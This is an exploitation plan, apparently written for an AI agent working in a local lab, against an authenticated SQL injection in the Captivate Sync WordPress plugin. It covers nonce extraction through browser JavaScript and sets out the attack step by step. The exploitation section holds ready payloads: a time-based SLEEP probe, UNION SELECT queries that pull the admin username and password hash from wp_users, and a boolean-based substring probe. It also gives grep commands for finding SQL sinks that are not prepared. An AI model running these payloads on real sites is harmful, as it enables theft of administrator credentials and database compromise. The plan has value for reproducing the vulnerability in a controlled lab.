Exploitation Research Plan: CVE-2025-68570 (Captivate Sync SQLi)

1. Vulnerability Summary

The Captivate Sync plugin (up to 3.2.2) is vulnerable to an authenticated SQL injection affecting users with Administrator (or higher) privileges. The vulnerability exists because certain user-supplied parameters are concatenated directly into SQL queries without proper sanitization via esc_sql() or parameterization via $wpdb->prepare(). This allows an attacker to manipulate the query logic to extract data from the WordPress database, including sensitive tables like wp_users and wp_options.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php or a specific admin page under wp-admin/admin.php?page=captivate-sync.
• Vulnerable Action (Inferred): Likely an AJAX action used for managing podcast episodes, syncing content, or processing bulk actions. Common patterns in this plugin suggest the action captivate_sync_episodes_action or captivate_sync_sync_podcast.
• Vulnerable Parameter (Inferred): A parameter such as id, episode_id, or sync_id (likely passed via $_POST).
• Authentication: Required (Administrator+). This is a "High Privilege" requirement, but critical if the site is part of a multisite network or has multiple administrators.
• Preconditions: The plugin must be active and at least one podcast or episode should be present/synced to trigger the relevant code paths.

3. Code Flow (Inferred)

1. Entry Point: An administrator navigates to the Captivate Sync "Episodes" or "Sync" page in the dashboard.
2. Request Trigger: The UI sends an AJAX request to admin-ajax.php (e.g., clicking "Refresh Episode" or "Delete Log").
3. Handler Registration: The plugin registers an admin AJAX hook:
   add_action('wp_ajax_captivate_sync_...', 'handler_function_name');
4. Vulnerable Sink: The handler function retrieves a parameter (e.g., $id = $_POST['id'];) and passes it into a query:
   $wpdb->get_results("SELECT ... FROM ... WHERE id = $id");
5. Injection: By providing a payload like 1 OR 1=1, the attacker alters the query.

4. Nonce Acquisition Strategy

Admin actions in WordPress plugins almost always require a security nonce for CSRF protection.

1. Identify Script Localization: The plugin likely uses wp_localize_script to pass the nonce to the admin dashboard. Look for the script handle (e.g., captivate-sync-admin-js).
2. Create Test Page (Optional): Since this is an admin-side vulnerability, we can simply navigate to the plugin's admin settings page.
3. Extraction Steps:
   • Use browser_navigate to go to: http://localhost:8080/wp-admin/admin.php?page=captivate-sync-episodes (verify slug).
   • Use browser_eval to extract the nonce:

     // Common patterns for Captivate Sync
     window.captivate_sync_admin?.nonce || 
     window.captivate_sync_ajax?.nonce || 
     document.querySelector('input[name="captivate_sync_nonce"]')?.value;
     

   • Specific JS Object (Inferred): captivate_sync_vars.nonce.

5. Exploitation Strategy

We will use an Error-Based or UNION-Based SQL injection to extract the administrator's password hash.

Step 1: Confirm Injection (Time-Based)

Send a request that causes a delay.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Body (URL-encoded):

  action=[ACTION_NAME]&id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&_ajax_nonce=[NONCE]
  

Step 2: Extraction (UNION-Based)

Assuming the original query returns episode data, we attempt to hijack the result set.

1. Determine Column Count:
   Payload: 1 UNION SELECT 1,2,3,4,5,6... (incrementing until no DB error).
2. Extract Admin Hash:

   action=[ACTION_NAME]
   &id=-1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1
   &_ajax_nonce=[NONCE]
   

Note: Use http_request with the wordpress_logged_in_... cookie found during the login step.

6. Test Data Setup

1. Login: Log in as an administrator.
2. Plugin Setup:
   • Ensure "Captivate Sync" is active.
   • If necessary, "Add a Podcast" using a dummy RSS feed or mock API response to populate the captivate_sync_episodes table.
3. Identify Action: Grep the plugin directory for wp_ajax_ to find the exact action string.

   grep -rn "wp_ajax_captivate" /var/www/html/wp-content/plugins/captivatesync-trade/
   

7. Expected Results

• Successful Injection: The HTTP response will contain the result of the UNION SELECT (e.g., the admin username and password hash) in the JSON/HTML response body.
• Blind Confirmation: If time-based, the http_request tool will report a time_total significantly higher than 5 seconds.

8. Verification Steps (WP-CLI)

Confirm the data extracted matches the database state:

# Check the actual password hash of the admin user (ID 1)
wp user get 1 --fields=user_login,user_pass --format=json

# Verify plugin version
wp plugin get captivatesync-trade --field=version

9. Alternative Approaches

• Boolean-Based: If errors are suppressed and UNION is not feasible, use:
  id=1 AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$P$'
• Vulnerable File Discovery: If the standard AJAX handler is not found, check for directly accessible PHP files that load wp-load.php (less likely in modern versions).
• admin-post.php: Check if the plugin uses admin_post_ hooks instead of AJAX for form submissions.

Discovery Grep Commands for Agent:

# Find the SQL sink
grep -rP "\$wpdb->(get_results|get_row|query|get_var)\s*\(" /var/www/html/wp-content/plugins/captivatesync-trade/ | grep -v "prepare"

# Find where $_POST parameters are used in those sinks
grep -rn "_POST" /var/www/html/wp-content/plugins/captivatesync-trade/ -B 5 -A 5